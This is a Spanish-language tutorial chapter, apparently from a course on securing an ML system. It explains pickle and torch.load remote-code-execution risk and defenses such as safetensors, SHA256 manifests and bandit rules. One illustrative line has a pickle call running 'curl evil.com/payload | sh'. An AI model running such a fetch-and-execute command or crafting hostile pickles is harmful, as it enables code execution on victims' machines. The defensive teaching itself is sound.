English · Español
02 — Cadena de suministro (supply chain): pickle, safetensors, MANIFEST.json¶
La cadena de suministro es todo lo que cargamos desde disco — pesos del modelo, tokenizador, índices RAG.
picklees un intérprete Python serializado:torch.load(ruta_no_confiable)ejecuta código arbitrario por diseño. La alternativa essafetensors(solo datos, sin código) + unMANIFEST.jsoncon SHA256 por artefacto, verificado porscripts/verify_artifacts.shantes de cualquier carga.
Qué significa "cadena de suministro" para este sistema¶
Cada artefacto persistido que se carga en tiempo de ejecución es parte de la cadena de suministro:
| Artefacto | Path (según fases 11–32) | Clase de riesgo |
|---|---|---|
| Tokenizer (merges BPE + vocab) | artifacts/tokenizer/ |
Medio (JSON; solo integridad) |
| Pesos del modelo | artifacts/checkpoints/mini-gpt-grammar.{pt,safetensors} |
Alto (deserialización) |
| Índice de embeddings de RAG | artifacts/rag/index/ |
Medio (binario; solo integridad) |
| Fragmentos de KB del RAG | data/kb/grammar-rules/chunks.jsonl |
Medio (JSON; integridad de contenido) |
| Corpus de fuzz de Hypothesis | .hypothesis/ |
Bajo (solo en test-time) |
La "cadena de suministro" es la respuesta a: si no confío en quién puso estos archivos en disco, ¿qué puede salir mal?
Pickle: la carga del peor caso¶
El módulo pickle de Python no es un formato de datos; es un programa serializado. Cuando llamas a pickle.load(f), la VM de pickle recorre una secuencia de opcodes que pueden:
- Asignar objetos.
- Llamar a callables arbitrarios (incluidos
os.system,subprocess.run,eval). - Importar módulos arbitrarios.
Una secuencia de bytes de pickle que llame a os.system("curl evil.com/payload | sh") durante la deserialización es trivial de construir. No hay flag para "cargar solo datos" — eso no es lo que hace pickle.
torch.load envuelve a pickle. Por tanto:
import torch
# Hostile checkpoint downloaded from a model hub:
state = torch.load("downloaded.pt") # ← arbitrary code executes here
model.load_state_dict(state) # ← reached only if RCE didn't drop a shell
La probabilidad de RCE en torch.load(untrusted_path) es 100% si el archivo es hostil. No "depende de la arquitectura del modelo". No "si tienes tensores raros". Un archivo hostil se define como aquel que ejecuta código al cargar; el formato del archivo lo permite; el loader lo honra.
Qué significa "ruta no confiable"¶
La ruta es no confiable si se cumple cualquiera de las siguientes:
- El archivo se descargó de un hub público (Hugging Face, Civitai, una release aleatoria de GitHub).
- El archivo se envió por correo, se dejó en una unidad compartida o se adjuntó a un PR.
- El archivo está en un host al que otro usuario puede escribir sin tu revisión.
- El archivo se descargó hace un año; no recuerdas haberlo verificado.
La confianza es una propiedad de procedencia e integridad, no del hecho de tener el archivo en disco.
Safetensors: solo datos, sin código¶
safetensors es un formato diseñado específicamente para ser seguro de deserializar:
- La cabecera es un objeto JSON: nombre del tensor →
{dtype, shape, offsets}. - El cuerpo son bytes crudos para cada tensor, en el dtype/shape declarado.
- El loader nunca instancia objetos Python más allá de tensores planos.
No hay opcode, ni callable, ni import, ni __reduce__. El loader lee bytes hacia un tensor. Fin de la frontera de confianza.
from safetensors.torch import load_file
state = load_file("downloaded.safetensors") # just tensors, no code path to RCE
Un archivo .safetensors hostil aún puede mentir sobre sus contenidos — shape incorrecto, valores incorrectos, pesos envenenados con NaN que degradan la calidad. Eso es un ataque de integridad, no un RCE. Detectado aguas abajo por:
- Comprobaciones de shape en
load_state_dict. - Verificación de SHA256 con
MANIFEST.json(más abajo). - Tests conductuales tras la carga (el arnés de la Fase 20 marcará un modelo degradado).
Trade-off: safetensors renuncia a la comodidad de "picklear cualquier cosa que Python pueda picklear" y gana una garantía dura contra RCE-on-load.
MANIFEST.json: integridad para todo lo demás¶
Incluso con safetensors, aún necesitas saber: ¿es este archivo el que espero, o fue cambiado?
La Fase 18 emite MANIFEST.json al final de cada ejecución de entrenamiento:
{
"generated_at": "2026-05-22T14:31:08Z",
"git_sha": "a1b2c3d…",
"artifacts": [
{
"path": "artifacts/checkpoints/mini-gpt-grammar.safetensors",
"sha256": "8f2a…cc91",
"bytes": 4194304,
"role": "model-weights"
},
{
"path": "artifacts/tokenizer/vocab.json",
"sha256": "1d3c…0a87",
"bytes": 16384,
"role": "tokenizer-vocab"
},
{
"path": "data/kb/grammar-rules/chunks.jsonl",
"sha256": "4e7b…b21f",
"bytes": 102400,
"role": "rag-kb"
}
]
}
scripts/verify_artifacts.sh (Lab 04):
- Recorre
artifacts[]. - Para cada entrada: calcula
sha256sum <path>. - Compara con el
sha256almacenado. - Sale con 0 si todo coincide. Sale con código distinto de cero con un mensaje claro nombrando el archivo no coincidente.
Esto detecta:
- Bit rot en disco.
- Un atacante intercambiando
chunks.jsonlpor una versión envenenada. - Un compañero sobrescribiendo accidentalmente los pesos con un checkpoint antiguo.
No detecta:
- Un atacante que también reescribe
MANIFEST.json. (Mitigación: firmar con GPGMANIFEST.json, almacenar la clave pública out-of-band. La Fase 37 deja la firma como objetivo opcional.) - Bugs lógicos en los artefactos. (Mitigación: tests conductuales, Fase 20.)
El manifiesto es un tripwire, no una fortaleza. Pero es un tripwire barato que captura los casos comunes (rot, sobrescritura accidental, manipulación ingenua).
La amenaza en números¶
Una comprobación rápida de cordura, no una medición:
- Probabilidad de que un checkpoint aleatorio de un hub sea hostil: baja pero no nula. Existen incidentes documentados (PoisonGPT, hallazgos públicos de bandit-scanner en HF en 2023–2024).
- Severidad si un checkpoint hostil se ejecuta: 5/5 (RCE completo en el host como el usuario que ejecuta la carga).
- Probabilidad de detección sin tooling: ~0% (nada visible durante la carga).
- Probabilidad de detección con
MANIFEST.json+ política solo-safetensors: alta para manipulación ingenua, moderada para manipulación sofisticada (el atacante necesitaría comprometer archivo y manifiesto y clave de firma si está firmado).
Riesgo residual tras la política: bajo para este despliegue local mono-usuario. Más alto para cualquier despliegue multi-usuario, lo cual la Fase 37 explícitamente no cubre.
El cumplimiento: bandit + regla custom¶
La política "no hay cargas basadas en pickle en el código del agente" se aplica de dos formas:
- Regla
banditB301 — marcapickle.loady similares ensrc/. - Regla custom — marca
torch.load(sin un argumento explícitoweights_only=True. (Incluso conweights_only=True, prefiere safetensors; el flag es defensa en profundidad, no la defensa primaria.)
just security ejecuta ambos como parte de CI. Un nuevo uso de pickle requiere un # nosec por línea con un comentario de justificación, revisión de código y una entrada en security/THREATS.md.
Recapitulación en un párrafo¶
La ruta de carga del modelo es el riesgo de cadena de suministro de mayor severidad en cualquier sistema ML: torch.load sobre un pickle no confiable es RCE por diseño. La solución tiene dos capas: cambiar a safetensors (sin ruta de código para ejecutar) y verificar todo contra los hashes SHA256 de MANIFEST.json (captura manipulación y rot). El cumplimiento es vía bandit + una regla custom, con scripts/verify_artifacts.sh como tripwire en tiempo de ejecución.
Siguiente: theory/03-threat-modeling-numbers.md — la matriz prob × severidad × (1 − detección).